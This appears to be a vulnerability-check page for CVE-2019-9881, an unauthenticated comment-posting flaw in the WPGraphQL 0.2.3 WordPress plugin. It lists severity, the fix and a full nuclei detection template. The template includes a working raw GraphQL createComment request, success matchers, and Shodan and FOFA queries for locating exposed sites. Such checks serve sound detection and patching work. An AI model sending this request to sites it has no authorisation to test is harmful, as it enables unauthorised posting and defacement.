WPEngine WPGraphQL 0.2.3 - Unauthenticated Comment Posting

mediumseverity

5.3CVSS score

18.4%likelihood of exploitation, next 30 days

97%of all CVEs are less likely

Readycheck to confirm it

The createComment mutation in the WPGraphQL 0.2.3 plugin for WordPress allows unauthenticated users to post comments on any article, even when 'allow comment' is disabled.

Impact

An attacker can exploit this vulnerability to post unauthorized comments on WordPress posts, potentially leading to content manipulation and defacement.

Fix

Update WPGraphQL to version 0.3.0 or later to fix this vulnerability.

How to confirm it

Send: POST /graphql
Positive when: status_code == 200 and contains(content_type, "application/json") and contains_all(body, 'createComment','clientMutationId','\{\"data\":','{{client}}')

Run it with nuclei: nuclei -id CVE-2019-9881 -u <target>

The full check

id: CVE-2019-9881

info:
  name: WPEngine WPGraphQL 0.2.3 - Unauthenticated Comment Posting
  author: intelligent-ears
  severity: medium
  description: |
    The createComment mutation in the WPGraphQL 0.2.3 plugin for WordPress allows unauthenticated users to post comments on any article, even when 'allow comment' is disabled.
  impact: |
    An attacker can exploit this vulnerability to post unauthorized comments on WordPress posts, potentially leading to content manipulation and defacement.
  remediation: |
    Update WPGraphQL to version 0.3.0 or later to fix this vulnerability.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2019-9881
    - https://github.com/wp-graphql/wp-graphql/releases/tag/v0.3.0
    - https://www.pentestpartners.com/security-blog/pwning-wordpress-graphql/
    - https://wpvulndb.com/vulnerabilities/9282
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
    cvss-score: 5.3
    cve-id: CVE-2019-9881
    cwe-id: CWE-306
    epss-score: 0.18351
    epss-percentile: 0.97251
    cpe: cpe:2.3:a:wpengine:wpgraphql:0.2.3:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: wpengine
    product: wpgraphql
    framework: wordpress
    shodan-query: http.title:"WordPress" "graphql"
    fofa-query: body="/wp-content/plugins/wp-graphql/"
    publicwww-query: "/wp-content/plugins/wp-graphql/"
  tags: cve,cve2019,wp,wp-plugin,wordpress,wp-graphql,wpengine,unauth,vkev,vuln

variables:
  string: "{{randstr}}"
  client: "{{to_lower(rand_text_alpha(5))}}"

http:
  - raw:
      - |
        POST /graphql HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"query": "mutation { createComment(input: { postId: 1, userId: 1, content: \"{{string}}\", clientMutationId: \"{{client}}\" }) { clientMutationId } }"}

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - contains(content_type, "application/json")
          - contains_all(body, 'createComment','clientMutationId','\{\"data\":','{{client}}')
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from